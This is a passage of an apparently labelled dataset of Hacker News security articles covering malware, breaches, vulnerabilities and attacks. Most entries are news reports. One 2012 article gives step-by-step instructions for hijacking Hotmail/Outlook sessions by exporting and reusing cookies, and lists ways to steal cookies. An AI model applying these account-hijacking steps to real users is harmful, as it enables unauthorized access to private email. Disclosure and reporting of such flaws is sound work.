With SolarWinds Log & Event Manager's real-time log analysis and powerful cross-device/cross-event correlation, you can quickly uncover policy violations that could leave your network vulnerable to a breach. And, with over 300 predefined, customizable reporting templates, you can ensure the right controls are in place to not only maintain compliance, but keep your network and the data it holds secure.

Log & Event Manager for Network Protection and Data Loss Prevention
SolarWinds Log & Event Manager Feature Highlights:
Easy Collection of Network, Security, Machine, Application and Cloud logs
Real-time, In-Memory, Event Correlation for Immediate Threat Detection
Built-in Active Responses for Automated ""Hands-Free"" Remediation
Automatic USB Device Detection and Detachment for Protecting Sensitive Data
Advanced IT Search and Intuitive Data Visualization for Fast and Easy Forensic Analysis
Predefined, Customizable Templates for Simplified Security, Compliance, and Operations Reporting
Affordable, All-in-One Virtual Appliance for Quick and Easy Deployment and Use
You can download a Free, Fully-Functional, 30 day trial of LEM.

",Data_Breaches
Fake Angry Birds Game spreading Malware from Android Market,https://thehackernews.com/2012/01/fake-angry-birds-game-spreading-malware.html,"Fake Angry Birds Game spreading Malware from Android Market

From last week premium rate SMS Trojans surfaced in the Android Market. Google has pulled 22 apps that are masquerading as legitimate versions of popular games like Angry Birds and Cut the Rope. Security researchers have discovered a way to bypass an Android smartphone owner's permissions and access private data stored on their smartphone.

Avast Blog explain this as - For example, if someone tried to look for ""Cut the rope free"", this malicious application was in the fourth place in the search results. Apps published by the developer Miriada Production may look like well known Android games (Angry birds, Need for speed, World of Goo and others) and users could be easily confused.

The fake apps include ""Cut the Rope"", ""Need for Speed"", ""Assassins Creed"", ""Where's My Water? "",""Riptide GP"", ""Great Little War Game"", ""World of Goo"", ""Angry Birds"", ""Shoot The Birds"", ""Talking Tom Cat 2"", ""Bag It!"" and ""Talking Larry the Bird"". The apps have been pulled from the Android Market.

The fraudulent apps would install a premium rate SMS Trojan that would rack up hidden charges on the user's phone bill. The apps would lure customers into clicking on options that would send text messages to premium line numbers leaving the user to foot the bill. According to Lookout Mobile Security, the new threat called RuFraud has been found in an initial batch of apps on the Android Market that include horoscope apps, wallpapers, and game apps that pretend to be legitimate games like Angry Birds.

What will happens if these threats are installed in your mobile devices?
It will attempts to send text messages containing the string ""798657"" to premium-rate numbers using the infected device's current default SMS Center (SMSC) by exploiting the Permissions function (android.permission.SEND_SMS), Capable of sending an affected user's GPS location via HTTP POST, Opens several ports and connects to specific URLs to receive and execute commands from a remote user, Gathers information like International Mobile Equipment Identity (IMEI) and International Mobile Subscriber Identity (IMSI) numbers from infected systems, which is then sent to a specific site and Secretly forwards all incoming text messages to a remote user.

How do users get these threats?
Trend Micro has reported several incidents wherein malware came disguised as Android apps. Samples of Android malware found in the wild include:
ANDROIDOS_DROIDSMS.A: Came disguised as Windows Media Player.
ANDROIDOS_DROISNAKE.A: Came in the form of a game known as Tap Snake.
ANDROIDOS_GEINIMI.A: Came in the form of Trojanized apps hosted in certain third-party app stores in China.
ANDROIDOS_ADRD.A: Comes in the form of a Trojanized wallpaper app.
ANDROIDOS_LOTOOR.A: Trend Micro's detection for Trojanized versions of legitimate apps like ""Falling Down"".
ANDROIDOS_BGSERV.A: Trojanized version of Android Market Security Tool, which was released to address the modifications done by AndroidOS_LOTOOR.A.
Trend Micro Suggest ""Users can also check the developer's profile for other apps. Google also offers developer ratings, as well as the status 'Editor's Choice' that can further validate the developer's legitimacy. It is also a good practice to check app ratings and user feedback for more verification. The user rating and feedback feature give people a more accurate view of the experiences users have when using or installing the app. You can find it just below the app icon.,"".

",Malware
Hackers Exploit Unpatched VPNs to Install Ransomware on Industrial Targets,https://thehackernews.com/2021/04/hackers-exploit-unpatched-vpns-to.html,"Unpatched Fortinet VPN devices are being targeted in a series of attacks against industrial enterprises in Europe to deploy a new strain of ransomware called ""Cring"" inside corporate networks.
At least one of the hacking incidents led to the temporary shutdown of a production site, said cybersecurity firm Kaspersky in a report published on Wednesday, without publicly naming the victim.
The attacks happened in the first quarter of 2021, between January and March.
""Various details of the attack indicate that the attackers had carefully analyzed the infrastructure of the targeted organization and prepared their own infrastructure and toolset based on the information collected at the reconnaissance stage,"" said Vyacheslav Kopeytsev, a security researcher at Kaspersky ICS CERT.
The disclosure comes days after the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) warned of advanced persistent threat (APT) actors actively scanning for Fortinet SSL VPN appliances vulnerable to CVE-2018-13379, among others.
""APT actors may use these vulnerabilities or other common exploitation techniques to gain initial access to multiple government, commercial, and technology services. Gaining initial access pre-positions the APT actors to conduct future attacks,"" the agency said.
CVE-2018-13379 concerns a path traversal vulnerability in the FortiOS SSL VPN web portal, which allows unauthenticated attackers to read arbitrary system files, including the session file, which contains usernames and passwords stored in plaintext.
Although patches for the vulnerability were released in May 2019, Fortinet said last November that it identified a ""large number"" of VPN appliances that remained unpatched, while also cautioning that IP addresses of those internet-facing vulnerable devices were being sold on the dark web.
In a statement shared with The Hacker News, Fortinet said it had urged customers to upgrade their appliances ""on multiple occasions in August 2019, July 2020, and again in April 2021"" following the May 2019 fix. ""If customers have not done so, we urge them to immediately implement the upgrade and mitigations,"" the company said.
The attacks aimed at European businesses were no different, according to Kaspersky's incident response, which found that the deployment of Cring ransomware involved the exploitation of CVE-2018-13379 to gain access to the target networks.
""Some time prior to the main phase of the operation, the attackers performed test connections to the VPN Gateway, apparently in order to make sure that the stolen user credentials for the VPN were still valid,"" Kaspersky researchers said.
Upon gaining access, the adversaries are said to have used the Mimikatz utility to siphon account credentials of Windows users who had previously logged in to the compromised system, then utilizing them to break into the domain administrator account, move laterally across the network, and eventually deploy the Cring ransomware on each machine remotely using the Cobalt Strike framework.
Cring, a nascent strain that was first observed in January 2021 by telecom provider Swisscom, encrypts specific files on the devices using strong encryption algorithms after removing traces of all backup files and terminating Microsoft Office and Oracle Database processes. Following successful encryption, it drops a ransom note demanding payment of two bitcoins.
What's more, the threat actor was careful to hide their activity by disguising the malicious PowerShell scripts under the name ""kaspersky"" to evade detection and ensured that the server hosting the ransomware payload only responded to requests coming in from European countries.
""An analysis of the attackers' activity demonstrates that, based on the results of the reconnaissance performed on the attacked organization's network, they chose to encrypt those servers which the attackers believed would cause the greatest damage to the enterprise's operations if lost,"" Kopeytsev said.

",Malware
Indian Brokerage Firm Upstox Suffers Data Breach Leaking 2.5 Millions Users' Data,https://thehackernews.com/2021/04/indian-brokerage-firm-upstox-suffers.html,"Online trading and discount brokerage platform Upstox has become the latest Indian company to suffer a security breach of its systems, resulting in the exposure of sensitive information of approximately 2.5 million users on the dark web.
The leaked information includes names, email addresses, dates of birth, bank account information, and about 56 million know your customer (KYC) documents pulled from the company's server.
The breach was first disclosed by independent researcher Rajshekhar Rajaharia on April 11. It's not immediately clear when the incident occurred.
Reacting to the development, the company however said it had recently upgraded its security systems following reports of ""unauthorized access into our database"" while stressing that users' funds and securities remained protected.
As a precaution, besides initiating a secure password reset of users' accounts, Upstox said it restricted access to the impacted database, implying it was a case of a misconfigured AWS server. In addition, the company said it's incorporating multiple security enhancements at its third-party data warehouses and ring-fencing the network. Upstox refrained from specifying the exact number of client accounts that may have been exposed.
News of Upstox's security breach comes weeks after an India-based digital wallet service MobiKwik dealt with a major security incident after 8.2 terabytes (TB) of data belonging to millions of its users began circulating on cybercrime forums.
Other Indian companies such as BigBasket, Dunzo, Edureka, Paytm Mall, and Byju's-owned WhiteHat Jr too have reported data breaches in recent months.

",Data_Breaches
Over 85% Of Smart TVs Can Be Hacked Remotely Using Broadcasting Signals,https://thehackernews.com/2017/03/hacking-smart-tvs.html,"The Internet-connected devices are growing at an exponential rate, and so are threats to them.

Due to the insecure implementation, a majority of Internet-connected embedded devices, including Smart TVs, Refrigerators, Microwaves, Security Cameras, and printers, are routinely being hacked and used as weapons in cyber attacks.

We have seen IoT botnets like Mirai – possibly the biggest IoT-based malware threat that emerged late last year and caused vast internet outage by launching massive DDoS attacks against DynDNS provider – which proves how easy it is to hack these connected devices.

Now, a security researcher is warning of another IoT threat involving Smart TVs that could allow hackers to take complete control of a wide range of Smart TVs at once without having any physical access to any of them.

Researcher Shows Live Hacking Demonstration
The proof-of-concept exploit for the attack, developed by Rafael Scheel of cyber security firm Oneconsult, uses a low-cost transmitter for embedding malicious commands into a rogue DVB-T (Digital Video Broadcasting — Terrestrial) signals.

Those rogue signals are then broadcast to nearby devices, allowing attackers to gain root access on the Smart TVs, and using those devices for nasty actions, such as launching DDoS attacks and spying on end users.

Scheel provided a live hacking demonstration of the attack during a presentation at the European Broadcasting Union (EBU) Media Cyber Security Seminar, saying about 90 percent of the Smart TVs sold in the last years are potential victims of similar attacks.

Scheel's exploit relies on a transmitter based on DVB-T — a transmission standard that's built into TVs that are connected to the Internet.

The attack exploits two known privilege escalation vulnerabilities in the web browsers running in the background and once compromised, attackers could remotely connect to the TV over the Internet using interfaces, allowing them to take complete control of the device.

Once compromised, the TV would be infected in a way that neither device reboots nor factory resets would help the victims get rid of the infection.
Scheel's exploit is unique and much more dangerous than any smart TV hack we have seen so far.

Previous Smart TV hacks, including Weeping Angel (described in the CIA leaked documents), required physical access to the targeted device or relied on social engineering, which exposes hackers to the risk of being caught as well as limits the number of devices that can be hacked.

However, Scheel's exploit eliminates the need for hackers to gain physical control of the device and can work against a vast majority of TV sets at once.

The hack once again underlines the risks of ""Internet of Things"" devices. Since the IoT devices are rapidly growing and changing the way we use technology, it drastically expands the attack surface, and when viewed from the vantage point of information security, IoT can be frightening.

",Vulnerability
GitHub hacked with Ruby on Rails public key vulnerability,https://thehackernews.com/2012/03/github-hacked-with-ruby-on-rails-public.html,"GitHub hacked with Ruby on Rails public key vulnerability

Github, the service that many professional programmers use to store their work and collaborate on coding, was hacked over the weekend. A young Russian developer Egor Homakov exploited a gaping vulnerability in GitHub that allowed him (or anyone else with basic hacker know-how) to gain administrator access to projects such as Ruby on Rails, Linux, and millions of others.

When Github saw what happened, they suspended Homakov's account, which created a firestorm of protest. A blog post entitled, Github, You Have Let Us All Down . Github has succumbed to a public key vulnerability in Ruby on Rails allowing a user administrator access to the popular Rails Git. Homakov's actions were relatively simple - he merely uploaded his public key to the repository so Git thought he was an approved administrator of that project. This would not only entitle Homakov to commit files but he could effectively wipe the entire project and its history clean.

""The root cause of the vulnerability was a failure to properly check incoming form parameters, a problem known as the mass-assignment vulnerability,"" GitHub co-founder Tom Preston-Werner wrote in a blog post.

""Two days ago he responsibly disclosed a security vulnerability to us and we worked with him to fix it in a timely fashion. Today, he found and exploited the public key form update vulnerability without responsible disclosure,"" Preston-Werner said, explaining that this had meant Homakov had broken GitHub's terms and conditions.

Github is used by a number of high-profile projects including the Linux kernel. Homakev's actions were to exploit a well known weakness of Ruby on Rails and questions might be asked as to why Github's administrators did not block such an attack sooner.

Moving forward, GitHub has apologized for obfuscating the how white hat hackers should disclose security vulnerabilities and set up a new help page that clearly lists how to report issues.

",Vulnerability
Exclusive : Hacking Hotmail and Outlook accounts using Cookie reuse vulnerability,https://thehackernews.com/2012/12/hotmail-and-outlook-cookie-handling.html,"This Friday I was working with my co-security researcher ""Christy Philip Mathew"" in +The Hacker News Lab for testing the Cookie Handling Vulnerabilities in the most famous email services i.e Hotmail and Outlook. Well, both are merged now and part of the same parent company - Microsoft, the software giant.

Vulnerability allows an attacker to Hijack accounts in a very simple way, by just exporting & importing cookies of an user account from one system to attacker's system, and our results shows that even after logout by victim, the attacker is still able to reuse cookies at his end.

There are different way of stealing cookies, that we will discuss below. In May 2012, another Indian security researcher Rishi Narang claimed similar vulnerability in Linkedin website.

Vulnerability Details
Many websites including Microsoft services uses cookies to store the session information in the user's web browser. Cookies are responsible for maintaining a session in machines. Once a user logout from his PC, the session cookies should be invalidated and should not be allowed to reuse.

But in case of Hotmail and Outlook -- even after logout, one can use same cookies again and again to authenticated the session without requirement of the account password.

Proof of Concept
To Demonstrate this flaw, first of all readers should know about cookie importing and Exporting. A serious technical step ? No ,you just need a Firefox addon called 'cookie-importer' (download) for importing and 'Cookie Exporter' (download) for exporting cookies in browser.

Step one, login to your Hotmail OR Outlook email account, and go to cookie-exporter and save the file in your system, then logout your account (as shown below)


Step 2, Open another browser or any other system, where you should have cookie-importer to import cookies. Select the file exported in last step and import it.

Step 3, Once imported, just open outlook.com or hotmail.com in your browser on 2nd system and you can check that, the victim's account will login automatically, using same cookies.

Video Demonstration


Working Live Example for Readers
For a live working demo for our readers, we have created an account on outlook.com , where email is test_security0@outlook.com and password is .....? Nahh you don't that !

We have export cookies of our account in a text file and readers can download cookies.txt file 'Here' (Update - now removed from server, please test at your system). Once you (attacker) have cookies, just open your browser and import cookies using add-on as shown in above steps and after that visit outlook.com. 'let me know via comments on this post' what you have !

Why researcher choose Public disclosure ?
Being a responsible Security News media 'The Hacker News' always suggest hackers and researchers to first report only to the vendor about each possible vulnerability. Christy had reported to the Microsoft Security Team and received the following response

Microsoft Security Team close the ticket just by saying that, cookies are transferred over HTTPS in encrypted manner and password of the account can not be changed without re-authentication . They accepted that this flaw is not any serious vulnerability, so Christy choose Public disclosure.

Either Microsoft team didn't understand the impact factor or they don't want to ? Why one need to change the password, if he can access mails, can delete, send, backup with just cookies!

Possible Implementations of Account Hijacking
At the end, most important part, how to steal cookies ? A cookie is usually a small piece of data sent from a website and stored in a user's web browser. When the user browses the same website in the future, the data stored in the cookie can be retrieved by the website to notify the website of the user's previous activity.

Because cookies having a parameter called 'domain' which is equals to the domain name of the website which is creating that cookies in browser and only same domain is able to read respective cookies from browser.

There are various ways, attacker can steal cookies depending upon various factors:

1.) Having physical access to victim's system (Success Rate - 100%): As shown above, if the attacker can get the physical access to the victim's system, one can easily export cookies of logged-in account to a text file and then can take it to another system for hacking purpose.

If one have physical access, he can do many more things, then why just stealing cookies ? Because once attacker has the cookies, he can reuse it again and again that for re-authentication , even after victim logout the session from his end any number of times. So, no change that victom's will ever come to know thar his account is compromised.

2.) Victim and Attacker are in same Network (Success Rate - 50%): If attacker and victim are using same lan/wifi network, Man-in-the-middle attack can do this sort of thing using SSL strip like tools.

One of the best and portable tool for performing session / cookies hijacking overs HTTPS is possible via an Android penetration testing application called ""dSploit"" , having option ""Session Hijacker"" in that. There are lots of similar tools available for this purpose.

3.) Cross site scripting in Hotmail and Outlook (Success Rate - 100% if xss exist): Internet giant companies like Google, Paypal, Facebook pay thousands of dollars as bug bounty for Cross site scripting because these vulnerabilities can be used to steal user's cookies for account hijacking.

So if someone found XSS vulnerability in Hotmail or Outlook in future, he will be able to steal cookies by crafting malicious links. In this method, the combination of cross site scripting vulnerability and Cookie Handling Vulnerability will lead to account hijacking of Hotmail and Outlook accounts.

For example, Just a few days back, an unknown hacker was selling an exploit in $700 that allows individuals to hijack a Yahoo! email account, in that case hacker was using a cross site scripting in one of the domain of Yahoo website.

4.) Malwares and Stealer (Success Rate - 100%): Victim PC can be in hacked using a Auto Cookie stealing Malware (that is currently under beta testing in by the team) or any RAT tool can allow attacker to get your cookies remotely.

Vulnerability Timeline
Vulnerability Discovered - 11 Nov 2012
Vulnerability Reported - 11 Nov 2012
Reply from vendor - 12 Dec 2012
Vulnerability Public Disclosure - 14 Dec 2012

We hope, Microsoft will take the issue seriously as soon as possible to fix the issue!

",Vulnerability
Internet Explorer zero-day exploit used watering hole attacks to target Japanese users,https://thehackernews.com/2013/09/internet-explorer-zero-day-exploit-used.html,"Attackers exploiting a zero-day vulnerability CVE-2013-3893 in Microsoft's Internet Explorer browser and served them on compromised popular Japanese news websites.

According to FireEye, at least three major Japanese media websites were compromised in watering hole attacks, dubbed Operation DeputyDog, appears to target manufacturers, government entities and media organizations in Japan.
The compromised sites recorded more than 75,000 page views before the exploits were discovered. The zero-day vulnerability in IE 8 and 9 allows the stealthy installation of software in the users' computers which then can be remotely accessed by the hackers.

The hackers typically use Trojans designed specifically for a pay-to-order attack to steal intellectual property. Researchers saw a payload executable file used against a Japanese target posing as an image file hosted on a Hong Kong server.

The attack in Japan was discovered two days after Microsoft disclosed the flaw ,""The exploit was attacking a Use After Free vulnerability in IE's HTML rendering engine (mshtml.dll) and was implemented entirely in Javascript (no dependencies on Java, Flash etc.), but did depend on a Microsoft Office DLL which was not compiled with ASLR (Address Space Layout Randomization) enabled,"" Microsoft Security Advisory.

FireEye also claimed the group responsible for DeputyDog is the same one that compromised security firm Bit9 back in February 2013. FireEye did not disclose which sites were infected, but said that Japanese computer security authorities were working with the media outlets to remediate the issue.

Microsoft released a FixIt tool and urged IE users to install that as a mitigation until a patch was ready.

",Cyber_Attack
Patches Released for BIND Denial-of-service Vulnerability,https://thehackernews.com/2011/11/patches-released-for-bind-denial-of.html,"Patches Released for BIND Denial-of-service Vulnerability
There's a new vulnerability in the popular BIND name server software that is causing various versions of the application to crash unexpectedly after logging a certain kind of error. The Internet Systems Consortium (ISC), an organization that maintains several software products critical for Internet infrastructure, has released a patch for an actively exploited denial-of-service vulnerability in the widely used BIND DNS server.

The internet Systems Consortium (ISC) have described the problem as follows:
An as-yet unidentified network event caused BIND 9 resolvers to cache an invalid record, subsequent queries for which could crash the resolvers with an assertion failure...
Affected servers crashed after logging an error in query.c with the following message: ""INSIST(! dns_rdataset_isassociated(sigrdataset))
More details are available in their advisory.

As of this posting, ISC had not revealed the underlying problem, but said the patches would prevent the servers from crashing. The flaw affects BIND 9.4-ESV, 9.6-ESV, 9.7.x, and 9.8.x. The patch basically ensures that the cache doesn't return the anomalous data and prevents the server from crashing. ISC officials had not responded to media inquiries as of this posting, and it was unclear whether the flaw was just wreaking mayhem on the servers, or if an actual exploit was causing it.

Security intelligence firm Rapid7 said the first attack was discovered at The National Weather Service, with the following 89 discoveries of the attack on US universities.""Bind 9 is the most widely used DNS server on the internet today… Gone unchecked, this attack could potentially affect nearly the entire internet,"" said Matt Barrett, senior solutions architect at Rapid7. A temporary patch has already been released.

",Vulnerability
New Facebook Worm installing Zeus Bot in your Computer,https://thehackernews.com/2011/11/new-facebook-worm-installing-zeus-bot.html,"New Facebook Worm installing Zeus Bot in your Computer

Recently We Expose about 25 Facebook phishing websites and also write about biggest Facebook phishing in French which steal more then 5000 usernames and passwords. Today another new attack on Facebook users with Zeus Bot comes in action. The researchers of Danish security firm CSIS, has spotted a worm spreading within the Facebook platform. A new worm has popped up on Facebook, using apparently stolen user credentials to log in to victims' accounts and then send out malicious links to their friends. The worm also downloads and installs a variety of malware on users' machines, including a variant of the Zeus bot.

If followed, the link takes the potential victim to a page where he or she are offered what appears to be a screensaver for download. Unfortunately, it is not a JPG file, but an executable (b.exe). Once run, it drops a cocktail of malicious files onto the system, including ZeuS, a popular Trojan spyware capable of stealing user information from infected systems. The worm is also found to have anti-VM capabilities, making it useless to execute and test in a virtual environment, such as Oracle VM VirtualBox and VMWare.

Zeus is a common tool in the arsenal of many attackers these days, and is used in a wide variety of attacks and campaigns now. It used to be somewhat less common, but the appearance of cracked versions of the Zeus code has made it somewhat easier for lower-level attackers to get their hands on the malware. Zeus has a range of capabilities, and specializes in stealing sensitive user data such as banking credendtials, from infected machines.

""The worm carries a cocktail of malware onto your machine, including a Zbot/ZeuS variant which is a serious threat and stealing sensitive information from the infected machine,"" warn the researchers.The worm is hosted on a variety of domains, so the link in the malicious message may vary. Other servers are used to collect the data sent by the aforementioned malware and to serve additional malicious software.

This type of thing is very rare to just send to your email without you requesting it so I would advise anyone who thinks that you may have seen an email like this to delete it and mark it as spam right away.

",Malware
"New Point-of-Sale Malware Compromises 1,500 Devices Worldwide",https://thehackernews.com/2014/05/new-point-of-sale-malware-compromises.html,"In past few months, the malware developers are more focusing on proliferating and upgrading malicious malwares to target Point-of-Sale (POS) machines. Due to the lack of concern and security measures, point-of-sale (POS) systems have become an attractive target for cybercriminals and malware writers.

BlackPOS malware caused massive data breaches in various US retailers targeting POS machines and the largest one is TARGET data breach occurred during the last Christmas holidays. The third-largest U.S. Retailer in which over 40 million Credit & Debit cards were stolen, used to pay for purchases at its 1500 stores nationwide in the U.S.

Neiman Marcus, Michaels Store were also targeted involving the heist of possibly 110 million Credit-Debit cards, and personal information. BlackPOS malware was embedded in point-of-sale (POS) equipment at the checkout counters to collect secure data as the credit cards were swiped during transactions.

Now the latest one is the 'Nemanja botnet,' a recently discovered new piece of malware that has infected almost 1,500 point-of-sale (POS) terminals, accounting systems and other retail back-office platforms from businesses across the world.

""The bad actors combine several attack vectors in order to infect operators' stations – ""drive-by-download"" and remote administration channels hacking."" researchers said.

This massive, global botnet campaign was unearthed by the Security researchers at the cybercrime intelligence firm IntelCrawler, which includes more than 1,478 hosts in almost 35 countries worldwide, including the U.S., UK, Canada, Australia, China, Japan, Israel and Italy, as well as other developing countries.

""The analyzed botnet has affected various small businesses and grocery stores in different parts of the world, making the problem of retailers' insecurity more visible after past breaches. Past incidents showed high attention from modern cybercriminality to retailers and small business segments having Point-of-Sale terminals."" Intercrowler explained in a blog post.

IntelCrawler is the company that most actively investigate the electronic crimes related to the Point-of-Sale (POS) systems. IntelCrawler is also the same firm that discovered the BlackPOS malware used in Target data breach and it also had traced the malware author of BlackPOS malware in the beginning of the year.

Nemanja botnet was discovered by the cyber intelligence company in March. It includes POS malware with keylogging capabilities that is highly being used by cybercriminals to steal sensitive information such as username and passwords and in this case, attackers used this feature to steal payment or personal identifiable data from various bank office systems and databases.

""IntelCrawler predicts that very soon modern POS malware will become a part of RAT/Trojans and other harmful software acting as a module, which may be used along with keylogger and network sniffing malware."" Intercrowler explained.

IntelCrawler predicts a significant increase for the number of data breaches in the future and that in coming days modern PoS malware will be incorporated as modules into malicious remote access tools (RATs) or other Trojan programs and will be used along other components, like those for keylogging or network traffic sniffing.

Point-of-sale (POS) systems are critical components in any retail environment and users are not aware of the emerging threats it poses in near future, so to overcome the upcoming threats we should know its architecture, the areas of attacks and the defense measures. For this you can refer a Book 'Hacking Point of Sale: Payment Application Secrets, Threats, and Solutions' to grab the in-depth research of the point-of-sale (POS) systems, how it works, how it could be exploited, and what protection measures should be taken.

",Malware
How to Freeze Credit Report To Protect Yourself Against Identity Theft,https://thehackernews.com/2015/10/howto-Freeze-Credit-Report.html,"If your Social Security number gets hacked in any data breaches, including recently hacked T-Mobile, then there's a way to prevent hackers from misusing your identity (i.e. identity theft).

The solution here is that you can institute a security freeze at each of the three credit bureaus, Equifax, Experian, or TransUnion.

Once frozen, nobody will be allowed to access your credit report, which will prevent any identity thieves from opening new accounts in your name.

Because most creditors required to see your credit report before approving a new account. But, if they are restricted to see your file, they may not extend the credit or open a new account in your name.

However, there are some disadvantages of doing so.
1. Cost

The cost of a security freeze differs by state (check yours here). However, it is often free for already affected people, but the issue is – if you want to let anyone check your credit, you will need to pay a fee every time to lift the freeze.

This happens not just for your credit applications, but your credit report also gets pulled when you register for a mobile phone contract or apply for a new job or a new apartment as well.

The credit agencies will provide you a unique password to lift the freeze and charge up to $12 each time you lift the freeze. So this option can get costly.

2. Once Used, Nobody can Help

Moreover, if an identity thief has already used your stolen data to open accounts in your name, then a credit freeze will not help you out.

You can check your credit report for free three times a year at annualcreditreport.com. If you suspect any fraud, change your passwords, notify your financial institutions, keep an eye on your financial statements, and report to police.

",Cyber_Attack
Hacker reported vulnerability in Kaspersky website; Demonstrated malware spreading technique,https://thehackernews.com/2013/08/hacker-reported-vulnerability-in.html,"The cyber Security Analyst 'Ebrahim Hegazy' (@Zigoo0) Consultant at Q-CERT has found an ""Unvalidated Redirection Vulnerability"" in the website of the giant security solutions vendor ""Kaspersky"".

Ebrahim, who found a SQL Injection in ""Avira"" website last month, this time he found a Unvalidated Redirection Vulnerability that could be exploited for various purposes such as:
Cloned websites (Phishing pages)
It could also be used by Black Hats for Malware spreading
In the specific case what is very striking is that the link usable for the attacks is originated by a security firm like Kaspersky with serious consequences.

Would you trust a link from your security vendor? Absolutely Yes! But imagine your security vendor is asking you to download a malware!

To explain how dangerous the situation is when your security vendor is vulnerable, Ebrahim Hegazy sent me a video explaining the malware spreading scenario to simulate a Black Hat's exploiting Unvalidated Redirection Vulnerability in Kaspersky website to serve a malware.
""Since I'm working on Cyber security analysis, I've seen many methods of black-hats to spread links, maybe this link is for Exploit kits, Java Applet, flash exploits, or maybe a direct link to their EXE file. Let's take an example on the Facebook spreading techniques of the attackers, you may notice that ""Mediafire"" website was used lately in wide Malware spreading attack on Facebook.com,Which caused a wide infection, as the infected user will start to send links from Mediafire.com to his friends and since ""Mediafire"" is a trusted website/source for users so they simply click it and download the file!
But what if the links are coming from a very well known Security solutions vendor such as Kaspersky? For sure people will trust the links. So, through ""Unvalidated Redirection Vulnerability"" in Kaspersky, attackers will be able to spread a link coming from Kaspersky.com but when the user clicks on that link, he will get redirected to the attacker's website which would download at Malware on their machines or even download a ""Rogue Antivirus"" to steal financial information such as credit card information!"" explained Ebrahim Hegazy.

After the researcher reported the vulnerability to Kaspersky team, it took about 2 months to fix the vulnerability, it is really a long time considering that if a hacker had found this flaw before Hagazy he could spread links using Kaspersky.com.
The consequences of unfixing of such vulnerability are critical
Wide infection - since the redirection is coming from a trusted source especially if the attacker registered a domain name similar to Kaspersky.com
Very bad reputation for Kaspersky company.
Your most trusted resource ""Your Antivirus"" will be your worst enemy! Would you trust anything else!
And many other consequences. The vulnerability was reported to Kaspersky web-team and is now fixed.

",Vulnerability
Sensitive data in human brain successfully extract by Hackers,https://thehackernews.com/2012/08/sensitive-data-in-human-brain.html,"It is now possible to hack the human brain ? YES ! This was explained researchers at the Usenix Conference on Security, held from 8 to 10 August in Washington State. Using a commercial off-the-shelf brain-computer interface, the researchers have shown that it's possible to hack your brain, forcing you to reveal information that you'd rather keep secret.

In a study of 28 subjects wearing brain-machine interface devices built by companies like Neurosky and Emotiv and marketed to consumers for gaming and attention exercises, the researchers found they were able to extract hints directly from the electrical signals of the test subjects' brains that partially revealed private information like the location of their homes, faces they recognized and even their credit card PINs.

Brain-computer interface or BCIs are generally used in a medical setting with very expensive equipment, but in the last few years cheaper, commercial offerings have emerged. For $200-300, you can buy an Emotive or Neurosky BCI, go through a short training process, and begin mind controlling your computer.

""These devices have access to your raw EEG [electroencephalography, or electrical brain signal] data, and that contains certain neurological phenomena triggered by subconscious activities,"" says Ivan Martinovic, a member of the faculty in the department of computer science at Oxford.

""So the central question we were asking with this is work was, is this is a privacy threat?"" To extract this information, the researchers rely on what's known as the P300 response a very specific brainwave pattern that occurs when you recognize something that is meaningful, or when you recognize something that fits your current task. The researchers basically designed a program that flashes up pictures of maps, banks, and card PINs, and makes a note every time your brain experiences a P300.

The researchers found they could guess which of those random numbers was the first digit in the PIN with about 30% accuracy on the first try–far from a home run, but a significantly higher success rate than a random guess.

This brain hack can only improve in efficacy as BCIs become cheaper, more accurate, and thus more extensively used. ""But social engineering could make that possible. Attackers are creative."" What do you thing about a Brain Malware ?

",Vulnerability
"SolarWinds Hackers Stole Some Source Code for Microsoft Azure, Exchange, Intune",https://thehackernews.com/2021/02/solarwinds-hackers-stole-some-source.html,"Microsoft on Thursday said it concluded its probe into the SolarWinds hack, finding that the attackers stole some source code but confirmed there's no evidence that they abused its internal systems to target other companies or gained access to production services or customer data.
The disclosure builds upon an earlier update on December 31, 2020, that uncovered a compromise of its own network to view source code related to its products and services.
""We detected unusual activity with a small number of internal accounts and upon review, we discovered one account had been used to view source code in a number of source code repositories,"" the Windows maker had previously disclosed.
""The account did not have permissions to modify any code or engineering systems and our investigation further confirmed no changes were made. These accounts were investigated and remediated."".
Now according to the company, besides viewing few individual files by searching through the repositories, some cases involved downloading component source code related to —
a small subset of Azure components (subsets of service, security, identity)
a small subset of Intune components
a small subset of Exchange components
""The search terms used by the actor indicate the expected focus on attempting to find secrets,"" the company said, adding a subsequent verification affirmed the fact that they did not contain any live, production credentials.
Calling the SolarWinds supply chain attack a ""moment of reckoning,"" Microsoft in January recommended organizations to adopt a ""zero trust mentality"" in order to achieve the least privileged access and minimize risks by enabling multi-factor authentication.
The company said the attacks have reinforced the need to embrace the Zero Trust mindset and protect privileged credentials.
It's worth noting that the entire espionage campaign leveraged the trust associated with SolarWinds software to insert malicious code that was then distributed to as many as 18,000 of its customers.
""Zero Trust is a proactive mindset,"" said Vasu Jakkal, corporate vice president for security, compliance, and identity at Microsoft. ""When every employee at a company assumes attackers are going to land at some point, they model threats and implement mitigations to ensure that any potential exploit can't expand.""
""The value of defense-in-depth is that security is built into key areas an actor might try to break, beginning at the code level and extending to all systems in an end-to-end way.""

",Cyber_Attack
63 New Flaws (Including 0-Days) Windows Users Need to Patch Now,https://thehackernews.com/2018/11/microsoft-patch-tuesday-updates.html,"It's Patch Tuesday once again…time for another round of security updates for the Windows operating system and other Microsoft products.

This month Windows users and system administrators need to immediately take care of a total of 63 security vulnerabilities, of which 12 are rated critical, 49 important and one moderate and one low in severity.

Two of the vulnerabilities patched by the tech giant this month are listed as publicly known at the time of release, and one flaw is reported as being actively exploited in the wild by multiple cybercriminal groups.

Zero-Day Vulnerability Being Exploited by Cyber Criminals

The zero-day vulnerability, tracked as CVE-2018-8589, which is being exploited in the wild by multiple advanced persistent threat groups was first spotted and reported by security researchers from Kaspersky Labs.

The flaw resides in the Win32k component (win32k.sys), which if exploited successfully, could allow a malicious program to execute arbitrary code in kernel mode and elevate its privileges on an affected Windows 7, Server 2008 or Server 2008 R2 to take control of it.

""The exploit was executed by the first stage of a malware installer in order to gain the necessary privileges for persistence on the victim's system. So far, we have detected a very limited number of attacks using this vulnerability,"" Kaspersky said.

Two Publicly Disclosed Zero-Day Vulnerabilities

The other two publicly known zero-day vulnerabilities which were not listed as under active attack reside in Windows Advanced Local Procedure Call (ALPC) service and Microsoft's BitLocker Security Feature.

The flaw related to ALPC, tracked as CVE-2018-8584, is a privilege escalation vulnerability that could be exploited by running a specially crafted application to execute arbitrary code in the security context of the local system and take control over an affected system.

Advanced local procedure call (ALPC) facilitates high-speed and secure data transfer between one or more processes in the user mode.

